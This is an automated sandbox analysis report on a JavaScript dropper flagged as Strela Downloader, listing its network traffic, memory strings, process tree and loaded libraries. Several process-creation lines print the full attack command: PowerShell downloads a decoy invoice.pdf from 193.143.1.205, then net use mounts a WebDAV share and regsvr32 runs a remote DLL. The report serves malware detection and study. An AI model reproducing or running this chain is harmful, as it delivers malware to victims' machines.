Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2180011180.00000248B09B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2232819848.000001A22783E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2232819848.000001A2277E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2232819848.000001A227825000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2232819848.000001A227825000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/R
Source: net.exe, 00000007.00000002.2232819848.000001A2277E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: net.exe, 00000007.00000002.2232819848.000001A227825000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/r
Source: svchost.exe, 00000009.00000002.3448799113.000001D644600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2238913844.000001D644800000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1336, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 86328271623317904.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7116:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fxf1xpgg.lkj.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\86328271623317904.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1724,i,4614132653791133059,3530622464817728905,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1724,i,4614132653791133059,3530622464817728905,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
